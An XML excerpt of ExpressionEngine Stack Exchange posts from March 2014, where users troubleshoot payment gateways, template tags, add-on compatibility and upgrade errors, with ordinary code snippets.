  <row Id="20636" PostTypeId="1" CreationDate="2014-03-25T12:09:26.950" Score="1" ViewCount="58" Body="&lt;p&gt;We have a multi-step checkout, with SagePay Europe Direct as the default payment gateway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to inputting your card details on the site and submitting, you get redirected back to the enter payment details page. There are no errors coming up and the order isn't being processed in the CP either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have set up Sagepay test area and added our IP address for doing test transactions. Plus I've checked we are using the right SagePay test details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using the update_cart_form for collecting billing and shipping details then using checkout_form on the final step for collecting payment details. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some help would be great as we I have been stuck on this for days.&lt;/p&gt;&#xA;" OwnerUserId="2894" LastActivityDate="2014-03-25T12:09:26.950" Title="Payment to Sagepay not submitting" Tags="|cartthrob|sagepay|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20637" PostTypeId="2" ParentId="20521" CreationDate="2014-03-25T12:54:08.363" Score="1" Body="&lt;p&gt;Works now after some clean up, I guess there were some other JS codes conflicting, all validate code still remains the same.&lt;/p&gt;&#xA;" OwnerUserId="2178" LastActivityDate="2014-03-25T12:54:08.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20638" PostTypeId="1" CreationDate="2014-03-25T13:06:20.363" Score="1" ViewCount="47" Body="&lt;p&gt;I am running EE 2.1.4 and I needed to make a copy of the website on a new domain (my localhost) for some development. A strange thing happens with the wyvern editor. If I leave (from general configuration) the themes folder and path from the live site, the WYSIWYG editor works ok. If i add my local themes path/folder, the editor gets visibiliy:hidden from a *.js file ckeditor and I can see the editor and the toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the upload functionality for a new entry is not doing anything. No upload popup appears except this error in console &quot;Cannot call method 'dialog' of undefined&quot; in some EE js file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you had this problem before ? I saw that in ckeditor.js line 160 it’s a condition if (!a.editor). That is affecting my editor… Don’t know how to fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2895" LastActivityDate="2014-07-23T17:37:15.657" Title="WYSIWYG editor/upload functionality strange behaviour (after changing host)" Tags="|wysiwyg|hosting|textarea|wyvern|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20639" PostTypeId="2" ParentId="20619" CreationDate="2014-03-25T13:32:06.437" Score="0" Body="&lt;p&gt;RESOLVED: &lt;strong&gt;It was a bug in the Channel Images 5.4.15 build&lt;/strong&gt; in relation to cache directory creation and EE 2.8.&lt;br&gt;&#xA;I got a new version of the build from DevDemon and all was fine.&lt;/p&gt;&#xA;" OwnerUserId="1134" LastActivityDate="2014-03-25T13:32:06.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20640" PostTypeId="2" ParentId="20611" CreationDate="2014-03-25T14:23:10.263" Score="0" Body="&lt;p&gt;Did this occur after an ee upgrade if so check this forum out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/238309/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/238309/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-03-25T14:23:10.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20641" PostTypeId="2" ParentId="20565" CreationDate="2014-03-25T14:54:50.783" Score="1" Body="&lt;p&gt;Shorn I have tested this and it works great. However because of the way the {redirect} variable works you cant use {username} in the redirect variable because it will blow up the URL so I have accomplished what you are needing with a little bit of php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) In the CPanel go to Design&gt;Template Preferences and click on the desired template group and template you are needing this functionality on on the top left of the screen. Then allow PHP yes, and let the PHP parse on the input stage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) Add this code to your template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $uname = ee()-&amp;gt;session-&amp;gt;userdata('username');&#xA;?&amp;gt;&#xA;{if username != &quot;{segment_3}&quot;}&#xA;    {redirect='members/profile/&amp;lt;?php echo $uname; ?&amp;gt;'}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-03-25T14:54:50.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20642" PostTypeId="1" CreationDate="2014-03-25T15:05:32.183" Score="1" ViewCount="479" Body="&lt;p&gt;Going to upgrade a site from EE 2.5.3 to 2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are following addons compatible with EE 2.8.1?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Assets&lt;/li&gt;&#xA;&lt;li&gt;Cartthrob &lt;/li&gt;&#xA;&lt;li&gt;Cartthrob Order Manager &lt;/li&gt;&#xA;&lt;li&gt;Channel Images&lt;/li&gt;&#xA;&lt;li&gt;Wygwam &lt;/li&gt;&#xA;&lt;li&gt;Playa &lt;/li&gt;&#xA;&lt;li&gt;Matrix &lt;/li&gt;&#xA;&lt;li&gt;Simple S3 Uploader &lt;/li&gt;&#xA;&lt;li&gt;CE Image &lt;/li&gt;&#xA;&lt;li&gt;AJW Export&lt;/li&gt;&#xA;&lt;li&gt;Profile:Edit &lt;/li&gt;&#xA;&lt;li&gt;Field Editor&lt;/li&gt;&#xA;&lt;li&gt;Ct Admin, User&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Sorry to ask such question here. But I found many of those addons owner ask to post question here. Going to  tag the question by addon name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2625" LastEditorUserId="159" LastEditDate="2014-03-25T15:58:42.523" LastActivityDate="2015-05-26T06:50:38.717" Title="Are the following addons compitable with EE 2.8.1" Tags="|cartthrob|pixelandtonic|solspace|ce-image|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20643" PostTypeId="2" ParentId="20550" CreationDate="2014-03-25T15:13:30.583" Score="1" Body="&lt;p&gt;It turns out it was an .htaccess problem. Which is strange to me because I have the same .htaccess for other sites. But I suppose this thing happens from time to time. Time to re-evaluate what I'm doing in my htaccess file :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nico at EE Zoo is amazing! Great way to start the day :D&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-03-25T15:13:30.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20644" PostTypeId="2" ParentId="20638" CreationDate="2014-03-25T16:04:19.277" Score="1" Body="&lt;p&gt;First thing you need to do is upgrade EE, Wyvern, and CKeditor. Sounds like you're using really old versions, which I don't support.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2014-03-25T16:04:19.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20645" PostTypeId="1" CreationDate="2014-03-25T16:39:13.413" Score="0" ViewCount="51" Body="&lt;p&gt;Is it possible to prevent duplicate entries from being entered in?  Ttrying to see how to prevent a duplicate from the CP.  Any idea?&lt;/p&gt;&#xA;" OwnerUserId="2795" LastActivityDate="2014-04-24T21:19:07.437" Title="Prevent Duplicates From The CP" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20646" PostTypeId="1" AcceptedAnswerId="20647" CreationDate="2014-03-25T16:52:12.730" Score="0" ViewCount="100" Body="&lt;p&gt;I've got a project where I need to display several sales reps dependent upon their location. I've decided to display that data with relationships within a grid. The entire set up is like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Channel&lt;/strong&gt; - Rep Locator {rep_locator}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Grid&lt;/strong&gt; - Rep Grid {rep_grid}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Grid Fields&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Text Input&lt;/em&gt; - Location {location} | &lt;em&gt;Relationship&lt;/em&gt; - Sales Rep {sales_rep}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Relationship Channel&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has a title {title}, Office Number {office_number}, and Email {email_address}.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I can get the Location just fine, it also loops out the correct amount of relationship entries, but it does not display the title, office number or anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is set up as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;rep_locator&quot; dynamic=&quot;no&quot; disable=&quot;members|categories|pagination&quot;}&#xA;{rep_grid}&#xA;     &amp;lt;div class=&quot;region&quot; data-query=&quot;{rep_grid:location}&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;{rep_grid:location}&amp;lt;/h2&amp;gt;&#xA;        {rep_grid:sales_rep}&#xA;            &amp;lt;span class=&quot;individual-rep&quot;&amp;gt;&#xA;             &amp;lt;h3&amp;gt;{rep_grid:sales_rep:title}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/span&amp;gt;&#xA;        {rep_grid:sales_rep}&#xA;     &amp;lt;/div&amp;gt;&#xA;{/rep_grid}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2014-03-25T17:37:46.247" Title="Relationships Not Displaying in Grid" Tags="|relationships|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20647" PostTypeId="2" ParentId="20646" CreationDate="2014-03-25T17:37:46.247" Score="1" Body="&lt;p&gt;From they code that you posed, you are not closing your {rep_grid:sales_rep} tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {rep_grid:sales_rep}&#xA;        &amp;lt;span class=&quot;individual-rep&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;{rep_grid:sales_rep:title}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/span&amp;gt;&#xA;    {/rep_grid:sales_rep}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-03-25T17:37:46.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20648" PostTypeId="1" AcceptedAnswerId="20649" CreationDate="2014-03-25T17:54:51.003" Score="0" ViewCount="238" Body="&lt;p&gt;I am trying to move the data from one site to another, I can import from datagrab but what is the best (quickest) way to get the data out of the site? CSV or feed - is there a way to auto generate these?&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-03-25T18:01:35.790" Title="datagrab moving from one site to another" Tags="|datagrab|export|csv|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20649" PostTypeId="2" ParentId="20648" CreationDate="2014-03-25T18:01:35.790" Score="0" Body="&lt;p&gt;There are a couple of addons that may help, &lt;a href=&quot;http://devot-ee.com/add-ons/ajw-export&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/ajw-export&lt;/a&gt; and &#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/export-it&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/export-it&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I sometimes create a template to output data in CSV format, load up the template page then save the page as .csv ready for importing with Datagrab. This works fine for simpler data sets.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-03-25T18:01:35.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20650" PostTypeId="2" ParentId="20627" CreationDate="2014-03-25T18:08:11.367" Score="1" Body="&lt;p&gt;You can use a form inside a channel entries tag, and pass entry variables into the form as hidden fields, eg, if you have a Freeform field called &quot;event_name&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;events}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{description}&#xA;&#xA;  &amp;lt;form&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;event_name&quot; value=&quot;{title}&quot;&amp;gt;&#xA;  ...&#xA;  &amp;lt;/form&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Freeform will then store the event's entry Title in it's event_name field so you can track and filter submissions.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-03-25T18:08:11.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20651" PostTypeId="2" ParentId="20628" CreationDate="2014-03-25T18:50:49.300" Score="2" Body="&lt;p&gt;Have a look at @objectivehtml's extremely powerful &lt;a href=&quot;http://devot-ee.com/add-ons/photo-frame&quot; rel=&quot;nofollow&quot;&gt;Photo Frame add-on&lt;/a&gt;.  There is also a &lt;a href=&quot;https://objectivehtml.com/photo-frame/demo&quot; rel=&quot;nofollow&quot;&gt;demo of it running on the front end&lt;/a&gt;. To get the same number of editing options, you may also need his companion &lt;a href=&quot;http://devot-ee.com/add-ons/photo-frame-button-pack&quot; rel=&quot;nofollow&quot;&gt;Photo Frame Button Pack&lt;/a&gt;.  There are several other packs for the add-on, for things like focus, text, filters, etc.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-03-25T18:50:49.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20652" PostTypeId="1" CreationDate="2014-03-25T19:02:36.970" Score="1" ViewCount="98" Body="&lt;p&gt;I have moved my EE1 instance to a new server running nginx. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The home page loads up and the control panel login page loads up but when I try login I see the session information pass through but the control panel doesnt actually load up. It just goes back to the login page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried these changes in the config.php file: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5303/moved-ee1-7-1-site-to-new-server-and-cant-log-into-cp&quot;&gt;Moved EE1.7.1 site to new server and can&amp;#39;t log into CP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But they didnt work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;" OwnerUserId="732" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-03-25T19:02:36.970" Title="EE1 moving to new server; cant login" Tags="|ee1|nginx|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="20653" PostTypeId="1" AcceptedAnswerId="20655" CreationDate="2014-03-25T19:32:41.260" Score="0" ViewCount="1185" Body="&lt;p&gt;I would like to know about the usage of &lt;code&gt;{embed:entry_id}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is used in case an &lt;code&gt;entry_id&lt;/code&gt; is inside an embedded template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other usages?&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-03-25T20:12:42.737" Title="what does it means: {embed:entry_id}?" Tags="|embeds|entryid|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20654" PostTypeId="2" ParentId="20653" CreationDate="2014-03-25T19:52:21.750" Score="2" Body="&lt;p&gt;In simple terms, that is how you call up the value of a variable declared within an embed tag.  So for example, if in your &quot;main&quot; template, you insert an embedded template called sidebar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/sidebar&quot; the_passed_value=&quot;hello&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the embedded template itself, you could have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;I would like to say {embed:the_passed_value}.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which would render as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;I would like to say hello.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And so as you see, it is a way to declare a variable within the embed code, passing its value to the embedded template for use there.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-03-25T19:52:21.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20655" PostTypeId="2" ParentId="20653" CreationDate="2014-03-25T20:12:42.737" Score="2" Body="&lt;p&gt;Example 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases {embed:entry_id} would be most useful by passing an entry_id from the parent template into the embeded one's entries tag pair entry_id parameter to just return the results of the given entry_id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;your_channel&quot; entry_id=&quot;{embed:entry_id}&quot;}&#xA;     Just the entry that was passed from the parent template.&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases you might want to pass multiple entry_ids into the entry_id parameter. Some might use an channel loop to output #|#|#|#|# into the the {embed:entry_id} variable. That would display multiple entries in the child template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;your_channel&quot; entry_id=&quot;#|#|#|#|#&quot;}&#xA;     Just the entry that was passed from the parent template.&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-03-25T20:12:42.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20657" PostTypeId="2" ParentId="20645" CreationDate="2014-03-25T20:41:32.557" Score="1" Body="&lt;p&gt;The only thing I know of in the CPanel is as follows is located at: &#xA;Admin ‣ Security and Privacy ‣ Security and Sessions &gt; denial of duplicate data &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this is mainly for comments and spam protection. I don't believe there is a CPanel setting that denies duplicate channels to be submitted.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-03-25T20:41:32.557" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20658" PostTypeId="1" AcceptedAnswerId="20689" CreationDate="2014-03-25T21:18:16.867" Score="1" ViewCount="85" Body="&lt;p&gt;I'm trying to arrange it so that the output order of a Playa field can be controlled by a global variable or radio button channel field (to make it able to be toggled from the listed order to random) but having no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try using a global variable (&lt;b&gt;carousel-order&lt;/b&gt;) with the value set to &quot;random&quot; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;{exp:playa:children field=&quot;home_carousel&quot; orderby=&quot;{carousel-order}&quot;}&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't seem to recognize the global variable. I've also tried using radio buttons to make the switch, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{if carousel_order &amp;&amp; carousel_order == &quot;Random&quot;}&#xA;    {exp:playa:children field=&quot;home_carousel&quot; orderby=&quot;random&quot;}&#xA;{if:else}&#xA;    {exp:playa:children field=&quot;home_carousel&quot;}&#xA;{/if}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which actually gives me a parse/syntax error:&lt;br&gt;&#xA;&lt;b&gt;Parse error: syntax error, unexpected T_ENDIF in /data/home/rsitka/projects/rsdevwww/system/expressionengine/libraries/Functions.php(679) : eval()'d code on line 241&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read things like there may be an issue with the order things are parsed but surely someone has needed to do this at some point and run into this issue? Anyone found any workarounds or maybe I'm just missing something obvious?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2896" LastActivityDate="2014-03-26T18:25:08.013" Title="Switchable display order for playa field items" Tags="|playa|variable|orderby|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20659" PostTypeId="1" AcceptedAnswerId="20700" CreationDate="2014-03-25T21:29:24.387" Score="0" ViewCount="60" Body="&lt;p&gt;I've successfully updated ExpressionEngine to 2.7.3 but after I try to install the updated version of Playa (4.4.5) I continually get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Maximum execution time of 30 seconds exceeded in /system/third_party/playa/ft.playa.php on line 314&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried increasing the max_execution_time to a longer duration of time, reimporting the database and running again but same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like all of my entries are still intact in the exp_relationships table, they just aren't getting moved into the exp_playa_relationships table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exp_relationships table has 93,553 rows in the table.&lt;/p&gt;&#xA;" OwnerUserId="278" LastEditorUserId="278" LastEditDate="2014-03-25T21:58:01.587" LastActivityDate="2014-03-26T21:09:11.750" Title="After updating EE from 1.6.8 to 2.7.3 Playa won't update the exp_playa_relationships table" Tags="|playa|pixelandtonic|ee2-upgrades|updating|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20664" PostTypeId="1" CreationDate="2014-03-26T01:53:10.963" Score="0" ViewCount="85" Body="&lt;p&gt;When creating/editing a relationship field, there is an option where you can restrict the entries returned, based on authors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, is there a way to set this so that you only return the entries that is authored by the &lt;strong&gt;current user&lt;/strong&gt; logged in the Control panel?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-04-22T16:45:59.597" Title="Relationship Field Author Restriction in EE Backend" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20665" PostTypeId="1" AcceptedAnswerId="20667" CreationDate="2014-03-26T01:56:14.913" Score="0" ViewCount="105" Body="&lt;p&gt;Has anyone successfully wrote any scripts for ajax commenting in expression engine? I can't find any documentation that supports it for this style of commenting. Ellis Lab seem to have documentation for AJAX editing comments. Below you can see my basic tags. Any Ideas guys?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:form channel=&quot;thischannel&quot; entry_id=&quot;{entry_id}&quot; dynamic=&quot;no&quot; }&#xA;                                                                        &amp;lt;form id=&quot;review_submit&quot;&amp;gt;&#xA;                                                                        &amp;lt;div id=&quot;name_it&quot;&amp;gt;&#xA;                                                                            &amp;lt;label&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;                                                                            &amp;lt;input type=&quot;text&quot; name=&quot;myname&quot; id=&quot;myname&quot; placeholder=&quot;myname&quot;/&amp;gt;&#xA;                                                                        &amp;lt;/div&amp;gt;&#xA;&#xA;                                                                &amp;lt;/div&amp;gt;&#xA;                                                                &amp;lt;div class=&quot;review_text&quot;&amp;gt;&#xA;                                                                    &amp;lt;label&amp;gt;Review&amp;lt;/label&amp;gt;&#xA;                                                                    &amp;lt;textarea id=&quot;mycomment&quot; name=&quot;comment&quot; cols=&quot;70&quot; rows=&quot;2&quot;&amp;gt;&amp;lt;/textarea&amp;gt; &#xA;                                                                    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit Review&quot; class=&quot;back_button&quot; id=&quot;tryme&quot;&amp;gt;&#xA;                                                                &amp;lt;/div&amp;gt;&#xA;                                                            &amp;lt;/form&amp;gt;&#xA;                                                            {/exp:comment:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1916" LastEditorUserId="1916" LastEditDate="2014-03-26T02:19:38.633" LastActivityDate="2014-03-26T02:59:32.083" Title="Ajax commenting solution" Tags="|channel-entries|ajax|comments|dynamic|comment-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20666" PostTypeId="2" ParentId="20642" CreationDate="2014-03-26T01:58:03.977" Score="0" Body="&lt;p&gt;There is a patch to manually update Simple S3 Uploader to work with 2.8.1 which can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/support/simple-s3-uploader/viewthread/12869&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/simple-s3-uploader/viewthread/12869&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm finding errors on the backend of the server with Matrix at present. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd hold off to upgrading presently as there are many issues with addons not being updated to work correctly with 2.8.1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there is an update page for Solspace addons to confirm if they are operating with the new version of EE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/software/compatibility&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/software/compatibility&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, none of your current list of Solspace addons are ready yet.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastEditorUserId="1997" LastEditDate="2014-03-26T06:21:28.017" LastActivityDate="2014-03-26T06:21:28.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20667" PostTypeId="2" ParentId="20665" CreationDate="2014-03-26T02:59:32.083" Score="2" Body="&lt;p&gt;I usually do all of my AJAX form submissions with the jquery ajax form plugin. This allows you to customize the experience for your users here is the link to the plugin its very simple to implement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://malsup.com/jquery/form/&quot; rel=&quot;nofollow&quot;&gt;http://malsup.com/jquery/form/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-03-26T02:59:32.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20668" PostTypeId="1" CreationDate="2014-03-26T03:35:20.480" Score="0" ViewCount="120" Body="&lt;p&gt;I have been importing thousands of entries using Solspace's Importer 2.2.2 on EE 2.6.1, and once I upgraded to EE 2.7.3 and thus also upgraded to Importer 2.2.3, I have gotten nothing but Internal Server Errors and cannot figure out the cause. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to just go back to the previous versions of EE/Importer. Is that a fairly easy process?&lt;/p&gt;&#xA;" OwnerUserId="1815" LastActivityDate="2014-03-26T03:35:20.480" Title="Downgrade EE2 from 2.7.3 to 2.6.1?" Tags="|solspace-importer|2.7.3|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20670" PostTypeId="1" CreationDate="2014-03-26T06:31:21.357" Score="1" ViewCount="288" Body="&lt;p&gt;I upgraded a site to EE 2.8.1 and updated to the latest Field Pack and noticed the EE Control Panel really buggy and slow and have found errors in the log files from the server:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP Fatal error:  require() [function.require]: Failed opening required '/home/.../public_html/sys/expressionengine/third_party/pt_field_pack/pt_fieldtype.php' (include_path='.:/opt/alt/php53/usr/share/pear:/opt/alt/php53/usr/share/php') in /home/abwac1/public_html/systm/expressionengine/third_party/_pt_dropdown/ft.pt_dropdown.php on line 6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP Fatal error:  Class PT_Fieldtype contains 1 abstract method and must therefore be declared abstract or implement the remaining methods (EE_Fieldtype::display_field) in Unknown on line 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP Fatal error:  require_once() [function.require]: Failed opening required '/home/.../public_html/sys/expressionengine/third_party/pt_switch/config.php' (include_path='.:/opt/alt/php53/usr/share/pear:/opt/alt/php53/usr/share/php') in /home/.../public_html/sys/expressionengine/third_party/_pt_switch/ft.pt_switch.php on line 4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP Fatal error:  Class 'Matrix_ft' not found in /home/.../public_html/sys/expressionengine/libraries/api/Api_channel_fields.php on line 365&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else getting something similar? would love to know of a fix or if this has been reported and ready for updating.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2014-04-26T06:37:50.563" Title="P&amp;T Field Pack and Matrix with EE version 2.8.1 errors" Tags="|matrix|pixelandtonic|switch|pt-dropdown|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
